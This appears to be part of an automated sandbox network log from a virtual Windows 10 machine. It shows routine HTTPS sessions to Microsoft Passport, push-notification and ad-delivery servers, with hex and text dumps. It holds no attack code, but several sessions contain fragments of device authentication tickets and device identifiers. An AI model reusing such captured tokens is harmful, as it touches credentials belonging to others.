2024-11-28 16:24:06 UTC	4831	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-28 16:24:07 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 28 Nov 2024 16:23:06 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C558_BAY x-ms-request-id: c491f26e-8700-4d7b-92af-aa3230408c08 PPServer: PPV: 30 H: PH1PEPF0001200F V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 28 Nov 2024 16:24:06 GMT Connection: close Content-Length: 11197
2024-11-28 16:24:07 UTC	11197	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.6	49709	20.198.119.143	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:07 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 64 39 58 61 42 36 70 46 35 6b 2b 70 7a 76 57 5a 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 35 65 31 38 30 61 30 30 64 31 33 33 30 33 66 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: d9XaB6pF5k+pzvWZ.1Context: 95e180a00d13303f
2024-11-28 16:24:07 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-28 16:24:07 UTC	1076	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 35 33 0d 0a 4d 53 2d 43 56 3a 20 64 39 58 61 42 36 70 46 35 6b 2b 70 7a 76 57 5a 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 35 65 31 38 30 61 30 30 64 31 33 33 30 33 66 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 77 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 58 7a 55 45 6b 33 4e 66 59 68 39 44 37 4a 45 5a 56 62 6c 51 70 7a 62 55 68 49 35 31 6e 4c 71 31 6c 79 78 73 49 65 70 6c 50 58 6f 72 4f 79 52 49 56 48 6e 75 53 2b 51 69 6e 32 63 6a 51 38 47 78 6c 52 66 65 2f 66 72 53 38 6e 4e 35 33 45 6b 50 56 49 67 5a 54 76 4c 63 7a 43 74 4b 2f 74 4b 78 6b 4e 6c 45 66 39 33 48 61 4b 43 39 4b Data Ascii: ATH 2 CON\DEVICE 1053MS-CV: d9XaB6pF5k+pzvWZ.2Context: 95e180a00d13303f<device><compact-ticket>t=EwCwAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAXzUEk3NfYh9D7JEZVblQpzbUhI51nLq1lyxsIeplPXorOyRIVHnuS+Qin2cjQ8GxlRfe/frS8nN53EkPVIgZTvLczCtK/tKxkNlEf93HaKC9K
2024-11-28 16:24:07 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 64 39 58 61 42 36 70 46 35 6b 2b 70 7a 76 57 5a 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 35 65 31 38 30 61 30 30 64 31 33 33 30 33 66 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: d9XaB6pF5k+pzvWZ.3Context: 95e180a00d13303f<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-28 16:24:08 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-28 16:24:08 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 4a 78 65 31 49 78 34 79 57 45 4b 64 33 2f 31 33 46 46 66 44 4a 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: Jxe1Ix4yWEKd3/13FFfDJg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.6	49711	20.223.35.26	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:07 UTC	1572	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338389&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20231005T064724Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=5e6fda521c7d4a94aa3a5bd381088fca&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=605405&metered=false&nettype=ethernet&npid=sc-338389&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=605405&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waas [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 Cache-Control: no-cache MS-CV: jJByShAlEU63wept.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-28 16:24:08 UTC	955	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 3353 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P426081542-T1-C128000000001615609+B+P20+S1"},{"OPTOUTSTATE":"65792"},{"REGIONALPOLICY":"1"}] X-ARC-SIG: Nco4ZgNTbI/ZWYvvBqIVJEaLHvbTmGXUzpIv2+tXZvOIr871bwkmnUHQOF4jrI1ZSPIvSWO35y3T+CWSHS3C3nHYkz1ngUeCBD+EC1KALm4Wu7Z0SkeZzCetnQjhqwNA5vHRkjnP6fzAvDv46+SHZc9+HlR0M8LlbaXadTIY3gi9Quz/KbeXc+4AqrYap4+VjZ2PJ8lLT3k00f7FKiOPWa/uuY9uN3Z4cbsLqEN7DW31zwENgYiG71JDnrvkYpEsktYy7p1WEco8Xrvhwhfmr2IEKLET/owSyUFyxTO7KFR4uwZJdWaUSR4b+hhEdvEX94ujyN9CEMNy1pX/f2EEEw== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Thu, 28 Nov 2024 16:24:07 GMT Connection: close
2024-11-28 16:24:08 UTC	3353	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.6	49710	20.223.35.26	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:07 UTC	1579	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=310091&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20231005T064724Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=c81d580680974531a230ce6f238db6e0&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=605405&metered=false&nettype=ethernet&npid=sc-310091&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=605405&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 Cache-Control: no-cache MS-CV: jJByShAlEU63wept.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-28 16:24:08 UTC	814	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 1408 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-ARC-SIG: LJoIYyJVSoDhe0Xyo7D02SByznqzzw7RBxQ3kkntPQ33r9k5M/ltLUDVnSbhjqoCMHaSm37f3bKtKOMydJvOkutVQpvWgtUsFgcN9swGo6mHPPw+l342IThnidGD2Bya77DxEm1GcqQ+INNgYt8DTlSX+O3IJRfIeRuzcdoDHPNCDjqNKbDVz3lqaD1eD3r9c6bzu+pyKtoI6ozA0ijREou3gbfSl+PMfuVNsD6ls3SvREUzkLI44WGsT9OcBpT6ldOIFezwd+NkhjCmT4Nxk1Lj/v+grjhV+gdTp0RTy4hsEG/7Uv6m0LDsJA/Bke6UDO5ENlo+UAFMejWk9mbyRw== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Thu, 28 Nov 2024 16:24:07 GMT Connection: close
2024-11-28 16:24:08 UTC	1408	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 45 6d 70 74 79 43 72 65 61 74 69 76 65 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 7d 2c 5c 22 70 72 6f 70 65 72 74 69 65 73 5c 22 3a 7b 7d 2c 5c 22 74 72 61 63 6b 69 6e 67 5c Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"EmptyCreative\",\"propertyManifest\":{},\"properties\":{},\"tracking\

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.6	49714	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:11 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 2b 4b 61 43 62 32 67 6c 37 45 47 51 64 76 48 72 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 37 36 32 35 37 33 66 63 62 66 39 32 32 31 37 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: +KaCb2gl7EGQdvHr.1Context: 9762573fcbf92217
2024-11-28 16:24:11 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-28 16:24:11 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 2b 4b 61 43 62 32 67 6c 37 45 47 51 64 76 48 72 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 37 36 32 35 37 33 66 63 62 66 39 32 32 31 37 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 53 4e 32 58 47 4f 4d 57 6e 50 7a 44 6c 75 39 2b 43 66 52 6b 4b 7a 58 54 55 49 42 76 55 54 45 6a 58 64 46 50 44 55 53 4b 43 65 70 76 45 2b 7a 6b 55 65 76 5a 71 4e 71 70 33 46 33 37 71 4b 59 39 69 6c 64 2f 6b 7a 78 38 62 6d 74 44 56 34 7a 31 66 75 55 49 32 2b 76 44 55 61 62 36 39 5a 30 75 4b 7a 71 59 65 58 32 43 76 7a 66 33 5a Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: +KaCb2gl7EGQdvHr.2Context: 9762573fcbf92217<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAASN2XGOMWnPzDlu9+CfRkKzXTUIBvUTEjXdFPDUSKCepvE+zkUevZqNqp3F37qKY9ild/kzx8bmtDV4z1fuUI2+vDUab69Z0uKzqYeX2Cvzf3Z
2024-11-28 16:24:11 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 2b 4b 61 43 62 32 67 6c 37 45 47 51 64 76 48 72 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 37 36 32 35 37 33 66 63 62 66 39 32 32 31 37 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: +KaCb2gl7EGQdvHr.3Context: 9762573fcbf92217<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-28 16:24:12 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-28 16:24:12 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 7a 77 35 74 52 6c 72 2f 45 55 43 52 4e 70 6b 76 77 71 73 72 6b 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: zw5tRlr/EUCRNpkvwqsrkw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.6	49715	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:11 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 36 58 34 45 66 64 51 76 43 6b 4f 47 49 2b 33 54 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 34 34 31 65 63 33 33 35 30 31 35 34 64 32 33 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 6X4EfdQvCkOGI+3T.1Context: d441ec3350154d23
2024-11-28 16:24:11 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-28 16:24:11 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 36 58 34 45 66 64 51 76 43 6b 4f 47 49 2b 33 54 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 34 34 31 65 63 33 33 35 30 31 35 34 64 32 33 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 53 4e 32 58 47 4f 4d 57 6e 50 7a 44 6c 75 39 2b 43 66 52 6b 4b 7a 58 54 55 49 42 76 55 54 45 6a 58 64 46 50 44 55 53 4b 43 65 70 76 45 2b 7a 6b 55 65 76 5a 71 4e 71 70 33 46 33 37 71 4b 59 39 69 6c 64 2f 6b 7a 78 38 62 6d 74 44 56 34 7a 31 66 75 55 49 32 2b 76 44 55 61 62 36 39 5a 30 75 4b 7a 71 59 65 58 32 43 76 7a 66 33 5a Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 6X4EfdQvCkOGI+3T.2Context: d441ec3350154d23<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAASN2XGOMWnPzDlu9+CfRkKzXTUIBvUTEjXdFPDUSKCepvE+zkUevZqNqp3F37qKY9ild/kzx8bmtDV4z1fuUI2+vDUab69Z0uKzqYeX2Cvzf3Z
